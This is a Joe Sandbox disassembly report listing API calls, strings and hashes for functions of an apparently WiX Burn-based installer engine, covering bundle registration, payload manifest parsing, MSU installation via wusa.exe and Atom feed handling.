API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6b37def14933c35962a960d8dc94afc2712dea3f97e4137d3585bafb6eb56fc8
Instruction ID: e7a5138e35a74c802a6285c3b9926c44dd089011274b1c68c4bcbb9f7ca2350a
Opcode Fuzzy Hash: 6b37def14933c35962a960d8dc94afc2712dea3f97e4137d3585bafb6eb56fc8
Instruction Fuzzy Hash: 31511C71D003198BEB18CF99D985BAABBF8FB58310F14856AD406EB290D3759E12CF52

Function 009CE9DC Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002E9E8,009CE131), ref: 009CE9E1

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 53aaa1147454a5318ea796ad034462c1cb9d6782e9bc4b9a9b4b3114e46f0dfe
Instruction ID: 397398808b6368e8f8004631937da27b9fa42c275f142314aa3706a0975d34e0
Opcode Fuzzy Hash: 53aaa1147454a5318ea796ad034462c1cb9d6782e9bc4b9a9b4b3114e46f0dfe
Instruction Fuzzy Hash:

Function 009CFB89 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e99ea13adc10927cea7d1c492ebc7a2a391baadc0c78fea716f3d391abd7924
Instruction ID: e5916066bd21a5711bf6c7d20f689196bdc6bf728af663cc7af1d0cff61516a7
Opcode Fuzzy Hash: 2e99ea13adc10927cea7d1c492ebc7a2a391baadc0c78fea716f3d391abd7924
Instruction Fuzzy Hash: 0702F8335081A20BDB2D4A39847063B7BEA6A833B071E47AED4F7CB1D6DE10D964D660

Function 009D0B6F Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713254dbb735968c7063ac25a152bc56bcdf297f8f834348282298adb5de4d15
Instruction ID: 953e597624bbb9c74c4fbbf6f29b4fc1d09511c4b42079596d14370ebab405dc
Opcode Fuzzy Hash: 713254dbb735968c7063ac25a152bc56bcdf297f8f834348282298adb5de4d15
Instruction Fuzzy Hash: 01C1A4331491A20BDF6D4739843427EFBA55AD23B1B1A8B9FD4F2CB2C5EE249534D620

Function 009D07AA Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3c7a540a95456d95b2f03679edd2d49eac6f1621006280bdad19664e1d0b21d
Instruction ID: af867a352cc901e00cc790f0422b741ec065ba2303f60afe90184edd5e5c1a95
Opcode Fuzzy Hash: f3c7a540a95456d95b2f03679edd2d49eac6f1621006280bdad19664e1d0b21d
Instruction Fuzzy Hash: 09C1A5371451A20AEF2D4239847427EFBA55ED23B0B1E979FD4F2CB2C5EE209534D620

Function 009D03D5 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c190a499e79552c1a64f39d84a7142e521bf6eb77b491d3645054bb47bb5be
Instruction ID: d52bdf18d47593a620ad4f628e63900bbe09d6205c3abe441899f46965e97e59
Opcode Fuzzy Hash: 43c190a499e79552c1a64f39d84a7142e521bf6eb77b491d3645054bb47bb5be
Instruction Fuzzy Hash: 4AC1B7321851A24BEF1D423A847467EFBE55AD23B0B1A879FD4F2CB2D5EE20D534D620

Function 009D001D Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d2de95a5a3d7d395022a3d348c00081b72a5afa3478eed40d51441493dea68
Instruction ID: 0ed03b281a2570b24bdc14fca6ab5e4702618d7603fc8c9104216e7867f32e8a
Opcode Fuzzy Hash: c3d2de95a5a3d7d395022a3d348c00081b72a5afa3478eed40d51441493dea68
Instruction Fuzzy Hash: EDB1B3331491A20BEF2D4239843427EFBA55AD23B0B1E979FD4B2CB2C5EE20D525D620

Function 009D2E47 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66bac9fdb7f0929e90e017315058851decb60fc178c15bd6bfa3408dc8a8a185
Instruction ID: 2253aef1222377e526005143f3345ff7c15e37193ad50c6ba6f5a344b7a534eb
Opcode Fuzzy Hash: 66bac9fdb7f0929e90e017315058851decb60fc178c15bd6bfa3408dc8a8a185
Instruction Fuzzy Hash: 1F6158716C470856DB389B2C8995BBE63ADABB1700F14CD1BF983EF381D615DE818326

Function 009AFF99 Relevance: 84.5, APIs: 1, Strings: 47, Instructions: 484registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000101,?,?,00020006,00000000), ref: 009B0592

Strings

"%ls" /uninstall /quiet, xrefs: 009B0448
%hu.%hu.%hu.%hu, xrefs: 009B00F0
3.11.1.2318, xrefs: 009B0193
%s,0, xrefs: 009B01C0
QuietUninstallString, xrefs: 009B044D, 009B0463
NoRemove, xrefs: 009B0403, 009B0416
BundleTag, xrefs: 009B017B, 009B0180
/uninstall, xrefs: 009B047B, 009B0480
SystemComponent, xrefs: 009B0428, 009B043B
"%ls" /modify, xrefs: 009B03B0
ParentDisplayName, xrefs: 009B02F2, 009B0305
/modify, xrefs: 009B0474
HelpTelephone, xrefs: 009B0280, 009B0293
Publisher, xrefs: 009B0234, 009B0247
EngineVersion, xrefs: 009B019D, 009B01A2
BundleDetectCode, xrefs: 009B0093, 009B009B
BundleVersion, xrefs: 009B00CF, 009B00F5
Comments, xrefs: 009B033A, 009B034D
NoModify, xrefs: 009B038B, 009B039E
URLUpdateInfo, xrefs: 009B02CC, 009B02DF
Failed to register the bundle dependency key., xrefs: 009B0553
URLInfoAbout, xrefs: 009B02A6, 009B02B9
DisplayIcon, xrefs: 009B01BB, 009B01C5
ModifyPath, xrefs: 009B03B5, 009B03CB
Failed to write %ls value., xrefs: 009B0531
BundlePatchCode, xrefs: 009B00B1, 009B00B9
ParentKeyName, xrefs: 009B0312, 009B0325
NoElevateOnModify, xrefs: 009B03D7, 009B03EA
Contact, xrefs: 009B0362, 009B0375
Failed to write update registration., xrefs: 009B04E5
EstimatedSize, xrefs: 009B051C, 009B0521, 009B0530
DisplayVersion, xrefs: 009B0201, 009B0214
Failed to update name and publisher., xrefs: 009B01EE
HelpLink, xrefs: 009B025A, 009B026D
Failed to write software tags., xrefs: 009B04C5
%hs, xrefs: 009B0198
Failed to create registration key., xrefs: 009B001C
VersionMajor, xrefs: 009B010F, 009B0115
BundleUpgradeCode, xrefs: 009B0057, 009B005F
Failed to cache bundle from path: %ls, xrefs: 009AFFEF
BundleCachePath, xrefs: 009B003C, 009B0041
Failed to update resume mode., xrefs: 009B056D
"%ls" %ls, xrefs: 009B0484
VersionMinor, xrefs: 009B0138, 009B013E
UninstallString, xrefs: 009B0489, 009B049F
BundleAddonCode, xrefs: 009B0075, 009B007D
BundleProviderKey, xrefs: 009B015A, 009B015F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Close
String ID: /uninstall$"%ls" %ls$"%ls" /modify$"%ls" /uninstall /quiet$%hs$%hu.%hu.%hu.%hu$%s,0$/modify$3.11.1.2318$BundleAddonCode$BundleCachePath$BundleDetectCode$BundlePatchCode$BundleProviderKey$BundleTag$BundleUpgradeCode$BundleVersion$Comments$Contact$DisplayIcon$DisplayVersion$EngineVersion$EstimatedSize$Failed to cache bundle from path: %ls$Failed to create registration key.$Failed to register the bundle dependency key.$Failed to update name and publisher.$Failed to update resume mode.$Failed to write %ls value.$Failed to write software tags.$Failed to write update registration.$HelpLink$HelpTelephone$ModifyPath$NoElevateOnModify$NoModify$NoRemove$ParentDisplayName$ParentKeyName$Publisher$QuietUninstallString$SystemComponent$URLInfoAbout$URLUpdateInfo$UninstallString$VersionMajor$VersionMinor
API String ID: 3535843008-2755343042
Opcode ID: ae77fe07bdb4d1916ed0f06c35cc5f36b00b84536ee4f88c6879f593b243ec83
Instruction ID: acb0190feed14825d34e16e3f38f00cacaba5998137ea6b7fb1eb4b99d3ddd8c
Opcode Fuzzy Hash: ae77fe07bdb4d1916ed0f06c35cc5f36b00b84536ee4f88c6879f593b243ec83
Instruction Fuzzy Hash: 80F19231A4166EBBCB335665CE02FFF76A9ABC4724F140150FA0066662D7B1ED20EBD0

Function 009ACDBD Relevance: 73.9, APIs: 3, Strings: 39, Instructions: 366COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,download,000000FF,00000000,Packaging,00000000,00000000,FilePath,009A545D,00000000,009ECA9C,009A5445,00000000), ref: 009ACEF3

Strings

FileSize, xrefs: 009AD002
Failed to get @LayoutOnly., xrefs: 009AD197
Failed to get @FileSize., xrefs: 009AD1AB
Failed to get @FilePath., xrefs: 009AD21A
Failed to parse @FileSize., xrefs: 009AD1A1
embedded, xrefs: 009ACF05
CertificateRootPublicKeyIdentifier, xrefs: 009AD03D
download, xrefs: 009ACEE5
Invalid value for @Packaging: %ls, xrefs: 009AD200
Catalog, xrefs: 009AD0EC
DownloadUrl, xrefs: 009ACFD9
Failed to get payload node count., xrefs: 009ACE10
LayoutOnly, xrefs: 009ACF8D
Container, xrefs: 009ACF4B
Hash, xrefs: 009AD0B7
Failed to to find container: %ls, xrefs: 009AD186
SourcePath, xrefs: 009ACFB0
Failed to get next node., xrefs: 009AD228
Failed to get @Id., xrefs: 009AD221
Failed to hex decode the Payload/@Hash., xrefs: 009AD1DC
Failed to get @SourcePath., xrefs: 009AD1F1
Packaging, xrefs: 009ACEC6
Failed to get @CertificateRootPublicKeyIdentifier., xrefs: 009AD1B9
Failed to get @Hash., xrefs: 009AD1E3
Failed to get @CertificateRootThumbprint., xrefs: 009AD1C7
Failed to allocate memory for payload structs., xrefs: 009ACE49
Failed to select payload nodes., xrefs: 009ACDEB
Failed to get @Packaging., xrefs: 009AD213
payload.cpp, xrefs: 009ACE3F
CertificateRootThumbprint, xrefs: 009AD07A
Failed to hex decode @CertificateRootThumbprint., xrefs: 009AD1C0
Payload, xrefs: 009ACDD8
Failed to get @Catalog., xrefs: 009AD1D5
Failed to get @DownloadUrl., xrefs: 009AD1EA
FilePath, xrefs: 009ACEAB
Failed to get @Container., xrefs: 009AD18D
Failed to hex decode @CertificateRootPublicKeyIdentifier., xrefs: 009AD1B2
external, xrefs: 009ACF21
Failed to find catalog., xrefs: 009AD1CE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateCompareProcessString
String ID: Catalog$CertificateRootPublicKeyIdentifier$CertificateRootThumbprint$Container$DownloadUrl$Failed to allocate memory for payload structs.$Failed to find catalog.$Failed to get @Catalog.$Failed to get @CertificateRootPublicKeyIdentifier.$Failed to get @CertificateRootThumbprint.$Failed to get @Container.$Failed to get @DownloadUrl.$Failed to get @FilePath.$Failed to get @FileSize.$Failed to get @Hash.$Failed to get @Id.$Failed to get @LayoutOnly.$Failed to get @Packaging.$Failed to get @SourcePath.$Failed to get next node.$Failed to get payload node count.$Failed to hex decode @CertificateRootPublicKeyIdentifier.$Failed to hex decode @CertificateRootThumbprint.$Failed to hex decode the Payload/@Hash.$Failed to parse @FileSize.$Failed to select payload nodes.$Failed to to find container: %ls$FilePath$FileSize$Hash$Invalid value for @Packaging: %ls$LayoutOnly$Packaging$Payload$SourcePath$download$embedded$external$payload.cpp
API String ID: 1171520630-3127305756
Opcode ID: 492fc1803cb95de544ee49324e516db12c28fb8cc3c2f648c7d953285369e24d
Instruction ID: 39d1fe6677b83c16be3bdcb114a890acca77c05a5efef7fc1162843ac5db00bf
Opcode Fuzzy Hash: 492fc1803cb95de544ee49324e516db12c28fb8cc3c2f648c7d953285369e24d
Instruction Fuzzy Hash: 47C11372D06669FBCB129A91CC01FADB668AF46B24F204272FD12BB590D774EE00C7D0

Function 009A8476 Relevance: 59.8, APIs: 5, Strings: 29, Instructions: 331COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(009A5445,?,00000000,80070490,?,?,?,?,?,?,?,?,009CC1BF,?,009A5445,?), ref: 009A84A7
LeaveCriticalSection.KERNEL32(009A5445,?,?,?,?,?,?,?,?,009CC1BF,?,009A5445,?,009A5445,009A5445,Chain), ref: 009A8804

Strings

Variable, xrefs: 009A84B1
Failed to insert variable '%ls'., xrefs: 009A86C6
Value, xrefs: 009A8565
Failed to get @Persisted., xrefs: 009A87E1
Failed to get variable node count., xrefs: 009A84E1
Attempt to set built-in variable value: %ls, xrefs: 009A87C8
Failed to get next node., xrefs: 009A87F6
Failed to get @Id., xrefs: 009A87EF
Persisted, xrefs: 009A854A
Failed to change variant type., xrefs: 009A87DA
Failed to set variant value., xrefs: 009A878F
numeric, xrefs: 009A85BC
Failed to get @Type., xrefs: 009A8788
Type, xrefs: 009A85A3
Invalid value for @Type: %ls, xrefs: 009A8778
Failed to get @Hidden., xrefs: 009A87E8
Initializing hidden variable '%ls', xrefs: 009A8671
Failed to get @Value., xrefs: 009A8796
Initializing numeric variable '%ls' to value '%ls', xrefs: 009A85E2
Failed to set value of variable: %ls, xrefs: 009A87A7
Failed to select variable nodes., xrefs: 009A84C4
Failed to set variant encryption, xrefs: 009A879D
Hidden, xrefs: 009A852F
variable.cpp, xrefs: 009A87B9
Initializing version variable '%ls' to value '%ls', xrefs: 009A8653
version, xrefs: 009A862C
Failed to find variable value '%ls'., xrefs: 009A87D2
string, xrefs: 009A85F7
Initializing string variable '%ls' to value '%ls', xrefs: 009A861A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Attempt to set built-in variable value: %ls$Failed to change variant type.$Failed to find variable value '%ls'.$Failed to get @Hidden.$Failed to get @Id.$Failed to get @Persisted.$Failed to get @Type.$Failed to get @Value.$Failed to get next node.$Failed to get variable node count.$Failed to insert variable '%ls'.$Failed to select variable nodes.$Failed to set value of variable: %ls$Failed to set variant encryption$Failed to set variant value.$Hidden$Initializing hidden variable '%ls'$Initializing numeric variable '%ls' to value '%ls'$Initializing string variable '%ls' to value '%ls'$Initializing version variable '%ls' to value '%ls'$Invalid value for @Type: %ls$Persisted$Type$Value$Variable$numeric$string$variable.cpp$version
API String ID: 3168844106-1614826165
Opcode ID: f0651445f68d67ba71576ba0f1570227538cc7618353ba2b2f058a6f21763799
Instruction ID: 831cf5a5720cc8a0b9554f7ec1349a36b053513f5fb539947b0e3f2d003f5e1c
Opcode Fuzzy Hash: f0651445f68d67ba71576ba0f1570227538cc7618353ba2b2f058a6f21763799
Instruction Fuzzy Hash: 36B1E0B2D00259FBCF129B95CC45EAFBBB8AF85710F200664F950B6290CB759E41DBD0

Function 009C6CCC Relevance: 58.1, APIs: 7, Strings: 26, Instructions: 379COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,009BBDDC,00000007,?,?,?), ref: 009C6D20

Part of subcall function 009E0ACC: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,?,?,?,009A5EB2,00000000), ref: 009E0AE0
Part of subcall function 009E0ACC: GetProcAddress.KERNEL32(00000000), ref: 009E0AE7
Part of subcall function 009E0ACC: GetLastError.KERNEL32(?,?,?,009A5EB2,00000000), ref: 009E0AFE

CloseHandle.KERNEL32(00000000,?,000001F4,?,?,?,?,?,?,?,?,?,?,wusa.exe,?,00000025), ref: 009C710F
CloseHandle.KERNEL32(00000000,?,000001F4,?,?,?,?,?,?,?,?,?,?,wusa.exe,?,00000025), ref: 009C7123

Strings

"%ls" "%ls" /quiet /norestart, xrefs: 009C6E48
Failed to CreateProcess on path: %ls, xrefs: 009C6F9A
Failed to allocate WUSA.exe path., xrefs: 009C6DB3
Failed to ensure WU service was enabled to install MSU package., xrefs: 009C6F2E
Failed to format MSU install command., xrefs: 009C6E5C
Failed to append log path to MSU command-line., xrefs: 009C6ED4
Failed to wait for executable to complete: %ls, xrefs: 009C709E
wusa.exe, xrefs: 009C6DA0
Failed to get cached path for package: %ls, xrefs: 009C6DFC
2, xrefs: 009C6FB3
Failed to find System32 directory., xrefs: 009C6D95
Failed to append log switch to MSU command-line., xrefs: 009C6EB6
Failed to get action arguments for MSU package., xrefs: 009C6DD6
Bootstrapper application aborted during MSU progress., xrefs: 009C7054
D, xrefs: 009C6F3B
"%ls" /uninstall /kb:%ls /quiet /norestart, xrefs: 009C6E75
Failed to format MSU uninstall command., xrefs: 009C6E89
Failed to append SysNative directory., xrefs: 009C6D7D
msuengine.cpp, xrefs: 009C6F8D, 009C7022, 009C704A
/log:, xrefs: 009C6EA2
Failed to get process exit code., xrefs: 009C702C
WixBundleExecutePackageCacheFolder, xrefs: 009C6E0B, 009C713B
Failed to determine WOW64 status., xrefs: 009C6D32
SysNative\, xrefs: 009C6D6A
Failed to find Windows directory., xrefs: 009C6D5F
Failed to build MSU path., xrefs: 009C6E35

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Handle$Close$AddressCurrentErrorLastModuleProcProcess
String ID: /log:$"%ls" "%ls" /quiet /norestart$"%ls" /uninstall /kb:%ls /quiet /norestart$2$Bootstrapper application aborted during MSU progress.$D$Failed to CreateProcess on path: %ls$Failed to allocate WUSA.exe path.$Failed to append SysNative directory.$Failed to append log path to MSU command-line.$Failed to append log switch to MSU command-line.$Failed to build MSU path.$Failed to determine WOW64 status.$Failed to ensure WU service was enabled to install MSU package.$Failed to find System32 directory.$Failed to find Windows directory.$Failed to format MSU install command.$Failed to format MSU uninstall command.$Failed to get action arguments for MSU package.$Failed to get cached path for package: %ls$Failed to get process exit code.$Failed to wait for executable to complete: %ls$SysNative\$WixBundleExecutePackageCacheFolder$msuengine.cpp$wusa.exe
API String ID: 1400713077-4261965642
Opcode ID: 8cbaae523158381cf13e3f019e06fdaf62fe93a3e9ec127588253a36e59473da
Instruction ID: f4a662cdf820c1ba78e58cc183cb0067ba61f2c85781acbed882d7008f7eecaf
Opcode Fuzzy Hash: 8cbaae523158381cf13e3f019e06fdaf62fe93a3e9ec127588253a36e59473da
Instruction Fuzzy Hash: 70D1AEB1E4430EBBDB119FE5CC85FAEBBB9AF48704F10042DF601A61A1D7B59E409B52

Function 009E744A Relevance: 47.6, APIs: 13, Strings: 14, Instructions: 340COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,generator,000000FF,?,?,?), ref: 009E755D
SysFreeString.OLEAUT32(00000000), ref: 009E7726
SysFreeString.OLEAUT32(00000000), ref: 009E77C3

Strings

subtitle, xrefs: 009E75CC
category, xrefs: 009E74B8, 009E7665
entry, xrefs: 009E74D5, 009E769E
logo, xrefs: 009E75B0
generator, xrefs: 009E7550
atomutil.cpp, xrefs: 009E7477, 009E77AD
updated, xrefs: 009E7604
title, xrefs: 009E75E8
`<u, xrefs: 009E7726, 009E77C3
link, xrefs: 009E74F2, 009E76D4
author, xrefs: 009E749B, 009E762C
icon, xrefs: 009E7574
@, xrefs: 009E76CC
(, xrefs: 009E7701

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$FreeHeap$AllocateCompareProcess
String ID: ($@$`<u$atomutil.cpp$author$category$entry$generator$icon$link$logo$subtitle$title$updated
API String ID: 1555028553-639730868
Opcode ID: 71f1c7ea2768473bfb1cef67d82f039e3707377d7420f96a001ba7c639f03734
Instruction ID: f2b5c2da95be9dd40cc221d939a792f1cb3b50c2ac73bbf9b6c00e06ac6121a9
Opcode Fuzzy Hash: 71f1c7ea2768473bfb1cef67d82f039e3707377d7420f96a001ba7c639f03734
Instruction Fuzzy Hash: 65B1B07194826ABBDB129BE5CC81FAEB778BB05720F200754F521AB1D1DB71EE10CB91

Function 009E710D Relevance: 47.5, APIs: 11, Strings: 16, Instructions: 298COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,00A03E78,000000FF,?,?,?), ref: 009E71D4
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,summary,000000FF), ref: 009E71F9
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,title,000000FF), ref: 009E7219
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,published,000000FF), ref: 009E7235
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,updated,000000FF), ref: 009E725D
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,author,000000FF), ref: 009E7279
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,category,000000FF), ref: 009E72B2
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,content,000000FF), ref: 009E72EB

Part of subcall function 009E6D50: SysFreeString.OLEAUT32(00000000), ref: 009E6E89
Part of subcall function 009E6D50: SysFreeString.OLEAUT32(00000000), ref: 009E6EC8

SysFreeString.OLEAUT32(00000000), ref: 009E736F
SysFreeString.OLEAUT32(00000000), ref: 009E741F

Strings

(, xrefs: 009E734A
summary, xrefs: 009E71EB
category, xrefs: 009E7155, 009E72A4
published, xrefs: 009E7227
feclient.dll, xrefs: 009E7206
atomutil.cpp, xrefs: 009E740C
clbcatq.dll, xrefs: 009E7242
updated, xrefs: 009E724F
title, xrefs: 009E720B
content, xrefs: 009E72DD
cabinet.dll, xrefs: 009E7150
msi.dll, xrefs: 009E7137
`<u, xrefs: 009E736F, 009E741F
